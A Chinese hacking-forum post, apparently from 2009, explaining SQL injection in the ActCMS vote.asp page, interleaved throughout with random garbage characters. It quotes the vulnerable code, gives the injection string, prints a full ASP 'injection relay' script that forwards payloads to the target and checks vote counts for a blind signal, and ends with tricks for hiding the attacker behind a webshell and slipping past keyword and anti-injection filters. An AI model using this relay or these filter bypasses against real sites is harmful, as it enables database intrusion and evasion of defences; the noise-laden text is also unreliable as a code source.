& H. u# F0 W8 {; F7 I4 L看到ninty大牛的blog的一篇文章
2 Y1 c o# O5 J链接标记[url]http://www.forjj.com/?action=show&id=80[/url]+ n6 B- B: X$ y# H3 f- f0 B
关于actcms漏洞的利用 by 3x qq:381862589
' ^1 l+ F+ y0 k' ~6 v9 D. I& }# g9 w转载请注明以上
2 D/ S. ]' z' r+ P9 `漏洞文件:+ G4 K% v. F) ]' X$ B+ k4 h& ]5 ]
/plus/vote/vote.asp% a$ C; `- p/ r
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
- O; X8 q# A! T6 }; G K2 N; [% n
: d1 x4 M5 g; C( G3 R2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
* `" }6 i- x9 i; g* ^- J Z# S* X+ C" f" g
3 response.end
. Y, a# }5 t4 u/ h+ B: h. F. h9 |* P$ Q! F5 J
4 end if / A9 D$ q5 V c/ j3 b. u) Z
! ]0 K9 j* X& o& ^
5 for i=1 to request("voted").count
5 z! e/ L" d8 i& N: f* u, g) k" f: W* m' f. U1 T
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
6 _! D1 d* Z( F& V) X/ b" H$ R! \- o8 j6 Z. j5 n( N1 ?+ m0 R$ _! u
7 next
+ l: z: D6 X" \! a% g, r& K, d, u: L3 |# Z u
8.... , |3 m+ j/ G* o2 \& J4 U, Q- y+ Y
+ n8 {( Z" {3 w# h
9response.Redirect "index.asp?id="&id&"" $ t: Y9 r" {. w: @
投票结束回跳转回index.asp这个投票结果页面
8 D* b/ J( j: b6 F, A; m$ @如果投票成功票数加1
/ z- ^0 X, V6 Z) l+ `4 h 失败票数不变
) |6 A( [( A( s0 F' z2 d1 B5 r如图:! Z1 V. d" `; \& B
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB). M5 w; m0 I( \. {8 A) s
1 A+ |9 c& }6 U1 z; B
2009-12-27 13:20
% x6 q7 G7 K' Z' @
7 C7 L- K4 i6 r+ t- r! i) |利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了9 R9 a0 f: @/ J/ K6 G
, C, G; {+ |& J/ z1 M本帖隐藏的内容需要回复才可以浏览
/ `( u+ o0 Q; s我们用注入中转来实现这个注入具体代码如下:
+ H2 P; c. s/ ^% R4 c' V- x先用寂寞的刺猬大牛的注入中转生成jmget.asp2 D* E7 V# E5 g
注入地址:http://localhost/actcms/plus/vote/vote.asp
& _! C# u2 T4 w0 L* |注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
# e5 A8 Q0 x' e3 y5 }% V: P6 N f' f; f8 ?' v" h4 t: s
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
, Z. \- B, N: ^9 e$ ^
2 B! C( N+ S" y* n02JmdcwName=request("jmdcw") * ]! K( f! }" g
$ L( @4 Q' T# i! {! B# t/ Q03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] - c; w/ }! h7 K" O' Z$ O
: {8 ?) L1 S) _3 B# i7 c
04JmStr="id=1&voted=-1 or 1="&JmdcwName
1 q$ a. U' I2 @* {4 U) {$ t1 s1 n2 G6 r
05JmStr=URLEncoding(JmStr) * N! q- S: V, B" ^! V, _
% j/ z. e5 h5 t0 r: z0 t" A2 _- E
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- f# m9 |* y8 b: ^: K2 C& T$ g% @
: {. P4 n" y7 H) B! @# I c
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
/ P9 ? z3 k9 x3 V: a7 M, R7 h$ m1 D, o/ C
08testurl=testurl & "?" & JmStr + e7 _: [# v$ I( _0 G7 O
% {5 q$ w, A0 a3 e v% a6 _% k" H, ]
09JMUrl=JMUrl & "?" & JmStr
; m- d3 j! }+ B8 p0 D9 R+ z* U6 [% W0 C P% Z* a: K
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
1 Z+ ~1 ]! S" r7 |8 K) H9 p# E: w" ~$ I* |( g
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;", q0 U) B1 L- n+ i0 w, |+ |
. C$ |- Z/ t% l, X, N% l$ U2 L" ]
12JmCok=replace(JmCok,chr(32),"%20")
o0 T- g* k, f/ L
$ Z& e5 `1 t# V7 t$ q+ T7 ]13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
: j: r0 `; e( S& p, B) L) @1 h. d$ k5 b" |7 g! w( G, j
14 , y3 q9 b/ S! y3 V% |& T
( b8 U, e$ s# x& J+ k; p$ s# y
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 $ _/ E$ K: [3 q, z8 T9 p
3 l1 n" B; `' f! V& i
16 ) l, E& s: _5 ^% S
: `7 j0 N9 ^" b( S0 G" u17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 * H7 i/ F* f& Z/ v: |5 g4 g1 v l
: Q7 [+ z8 L& T" V! c% H
18response.write test1&""&test2&""
* m7 [1 P5 z- ?, ~, T5 Q6 e0 G& I2 u7 N) @6 k9 Z( ?! R5 r. Q
19 * [ P$ _: g3 r2 ~
' o$ g1 H1 P2 P7 i9 [+ a, ^+ c* U
20if test1=test2 then '如前后记录相等,表示失败 ) z9 e6 l6 |: p1 j3 V- m ~ j
% V+ U0 G' [" t. _* W21 response.write "failed"
1 ^9 R. [# x7 x7 b) C1 A0 u
9 \) M- D- F0 R' Z# G9 L+ e- K22else
. a' ^% K; }' R* O- L! L" \& W1 t; j* h9 A7 X V
23 response.write "succeed"
+ z8 M: @- g8 U4 W- o1 t6 S- ]+ w9 F% g! [$ J- P4 e% ^9 X; p1 ^$ t
24end if - f& V5 r2 ]! d* `3 w6 u$ e/ c9 h
' ]' {. U( a8 F# @25 # n8 p: G! ]; u6 h' J5 |
H \" U! b! q+ n, X: j U26response.write "by 3x"; M7 r) y! s9 X: s; z8 ^
& m c# d$ {3 M9 y27
) V: j' U; {5 Q8 W9 Q1 A) y+ o# L
28
! A/ ^" d0 j' k/ V7 E" h4 C9 c r/ E; Z0 ? z A
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
; @9 c- x6 n6 i: l+ r7 J* L0 S; g4 Q# B
30Dim Http 5 J; W) G. s# M
0 D1 p C0 T+ Y: \4 i& Y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
* Y. ^6 N% V+ j6 J) @+ g. p
* ^% D2 o2 D3 v% x i32With Http ' ?6 z/ z- l$ b
0 c& \, Z1 d+ a( y1 A' ?1 e! O
33 # r) U" F. b: u& Y
4 N& w. s4 N2 |' ]) t( C( q( }: k34.Open "GET",PostUrl,False
( x5 {0 i2 B: e! v2 Y5 } w
( O! `/ l W/ K1 h35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded" P+ B/ l& q+ F9 T, E
9 `" `2 b0 r }4 F. @( f
36.SetRequestHeader "Referer",PostRef
' }, S. D* X1 m- l. H, U
" ?) j' l0 T+ i+ y+ i5 }37.SetRequestHeader "Cookie",PostCok 9 |+ ^- s. }6 W+ v$ K; A3 [
; Q% r! V- m* Q2 u% l38.Send () ; z/ \ r* D) V* H
% K( v; t% l: v! `& B
39PostData = .ResponseBody
; ^6 _. M" g6 F8 [- C y) B, ]4 v' B
40End With% \: j6 e" E, R0 p2 }
5 w- n8 d. e$ [8 ?* w2 u% r6 r3 e
41Set Http = Nothing- m' m7 O3 _: a/ v' Z. n
$ f/ i1 E8 r! f; R2 E8 \
42PostData =bytes2BSTR(PostData)
& G: |, m& ?+ _: q
+ p2 C) H" u2 r+ X, K1 a& d+ D% K43End Function
8 n. f. e! @6 P- i8 k% V
& @( F, `1 d$ m0 i7 n1 i" {8 `44
9 A9 @ M- L& j' N. t" q, b3 t
1 Y* [) ?( P$ L! ]! k/ k. V8 n; e45
( ^! |8 ]5 i/ Q8 v6 u; i# H2 F: d, X/ L. K! k3 x5 Z5 R
46Function bytes2BSTR(vIn)
: V( h7 z$ L" Y0 G
/ H8 W4 z8 V- C47Dim strReturn
. G/ h5 e# L- B/ E6 e8 h# T @
9 T* A. ^( D8 f6 i( Q48Dim I, ThisCharCode, NextCharCode # S6 {& G4 Q- W. B' g9 y4 v
8 ?% G0 b, d) L2 L49strReturn = ""0 y8 Y3 J# d' f
( W) B5 C$ F; t* u2 I( g6 j3 L50For I = 1 To LenB(vIn) & q `1 z- w+ M+ h
# o' s3 f, F/ W8 W+ ~4 E) s7 v% N
51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 ?9 F4 h4 r1 y! S: T$ b( y' T5 H
3 v5 M8 |' q1 g, b" [# `+ S3 I# M
52If ThisCharCode < &H80 Then
6 R, d" }) Z8 H
5 _2 g% P( G* r. C53strReturn = strReturn & Chr(ThisCharCode)
+ a: L" T, z+ g7 ?8 }* D6 Q8 q; D( ^0 |, c
54Else
" B; p! N5 s5 i5 D, h; ? r& p' U% w# Z- Z1 |. q
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
( z) [- X/ z: y. y# {3 c. X/ c- s. c; s2 c& {7 k
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) " _+ [- H# `. ]: I" P1 ?
- d1 T# b- h U }3 |+ x# R `* y
57I = I + 1
5 O6 n, d4 f, p( p! q2 k1 K2 w( A8 V( ?7 x V# W Z; e: `, h
58End If
( ]% q, R- w+ B& _# ]; e1 F5 I8 h( ]- \- @/ @- F. B) `
59Next
& n& _4 z( q" ^/ N8 y2 V9 }( _; k! P' n6 U% A
60bytes2BSTR = strReturn
1 G( a3 ]. n5 \" b* R" b# \
, h: A( E4 F7 r61End Function2 X9 v, [4 @4 F
' A! i. Y0 m- k62
- L/ Z. D6 j ~' J# ?; s9 |/ y _. T
63Function URLEncoding(vstrin) * Z% B$ t) Y/ O$ j" L6 e5 d
: z1 S$ F& W) V- X- z" W64strReturn=""
2 h" s' \* i9 v* A3 D; Q1 ]9 |3 i4 `- k4 K3 t; y2 E5 }
65Dim i
* V m' D( w; j" D4 M- H+ r/ M" X/ c' _# j9 A' j! x
66For i=1 To Len(vstrin)
+ @' u( ]( P% P9 y9 {- I/ o
# S" E& | B5 A' B2 f3 S, F67ThisChr=Mid(vstrin,i,1) , b0 C- I; c c! P* y( _8 K, h
+ ^; z2 f, |/ ]" A% K- L68if Abs(Asc(ThisChr))< &HFF Then( ^0 k7 z( l9 s" G0 U7 Y% [+ F+ q
7 `) y- \' P) v2 o7 @$ Z
69strReturn=strReturn & ThisChr
! N$ B# ? a) o9 Y& |' l( R
5 e5 u3 h; q) q+ |$ T1 Z# _70Else$ I0 M0 J J6 j( g+ l2 ]
, ~' {+ S! K, E) y/ Q( |9 [6 b
71InnerCode=Asc(ThisChr)
, d: h% Q( h5 y8 o: J( u* }
/ |3 h/ t2 s9 _) f/ i9 L72If InnerCode<0 Then
. y: F! \" q; h. a7 f+ @. S( X; e" P9 ^' d
73InnerCode=InnerCode + &H10000 5 I# f: `. {/ E; R7 G& Y
% C" A. v. M$ E1 Z- H5 H5 y0 i; p8 {8 H74End If9 K( F' x6 y1 z
( R6 \. F: V ]% b2 m6 Y G; Q) ]/ n
75Hight1=(InnerCode And &HFF00) \&HFF 5 @$ v8 o3 n- w$ C1 N( {
' }0 J. s( {# y& l" Z2 b8 ?
76Low1=InnerCode And &HFF . {; A# U4 p5 X( z0 M/ C! |- H) Z w
/ |" U$ m- Q' Z% N+ {( c* I) p77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
' C5 e6 @0 U6 n, ]8 J2 E" T3 f# ?4 f1 h
78End if + e0 g4 x' z7 q8 W R1 P
9 z6 G. g; N# b/ ] c8 \79Next
( S& W7 P/ v+ {6 X
! U/ K( d% P. G0 v& m* |8 V$ J3 C80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 4 f) k+ n( H* l! O1 n% _
& I+ e6 a9 k: P* D1 l" ?81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
& r1 o: E2 d- f: K6 K
* D$ l7 p9 J& F! S7 D, b82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 3 }' e3 } Y- `0 a# |) c% P
' F# k) H: ?+ g4 E' c83URLEncoding=strReturn - D2 H U! \7 o$ L! L9 A$ W% B
% O# e$ s- t9 ^7 ^* }7 V84End Function
A% K2 ]% m# y( A L9 |9 |
7 Q% e I4 I3 _& k# ?9 G# U85 & k" y8 X/ h( d3 u& r- S0 P
0 D1 N @) |, f6 }; ~
86function getSt(body)
, j& r! `! q7 H. O9 Q# p, P0 M% ^* [- E
87 startpot=instr(body,"投票人数:")+len("投票人数:")
, h! D" d7 |* l0 [3 R6 o: X- F; T, K1 K) y V
88 endpot=instr(startpot,body," ")
, M& Q+ w, P- c& j4 E+ J! F
& E& Y4 n2 X- o* L89 getSt=mid(body,startpot,endpot-startpot)
. X! G4 {7 c% L# P
) f( v* A6 {8 G& I5 _9 L4 b90end function % o" d) k, d* O
4 ^/ Q) b8 ^8 ?8 L( d/ r' Z91%>9 ?. N8 v& ^$ h6 G9 ]0 W$ h
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
5 V, r3 d% x z& s: d测试下效果:
2 v% y+ U- f0 V/ U; ?投票成功:2 v2 ]7 q3 m* o( t
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB). |2 |1 w4 j' ?, H6 [
7 }3 C/ @2 k' a8 W, M' {3 I2009-12-27 13:29. O1 V) Z' M5 \# F6 W
投票失败1 x) n. m; L+ H! F+ J! l. @4 e, a
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
! L+ f4 {& Z: P0 H$ r4 U5 O8 L3 D( r1 I, I5 P$ F- M' s
2009-12-27 13:29
- [- u' m4 K# p E: E2 r-------------------------------------------------------------------------------
# y( U" s# h1 e1 n! n再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ R, R; u: e# `& q( X很抱歉。。。只能用单线程工具去注入。。。。。
1 B* G# \& x* }# ]/ j7 T* C2 i/ H所以失败。。。不好意思。。。0 \& O: p+ ~" X" h6 I5 k
-------------------------------------------------------------------------------3 ], P/ d, G Z |- h$ \3 }' \
+ s5 Y5 d5 i2 }8 g. g
注入中转的一些其他应用' ]3 w8 d% l- E e
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了1 g: S" h1 M& b5 [" k/ H
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id9 o) y7 f: N% t# s, D
2.post注入转成get型的注入,方便我们使用工具来跑
' ?9 m1 h ]1 w9 J: p( N5 F2 ]3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")5 P9 T5 E, r# s& b& Z. y- M
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过& C% ]4 `9 K: M' a$ E
% T! v6 @$ B7 C4 R. W' b$ [ |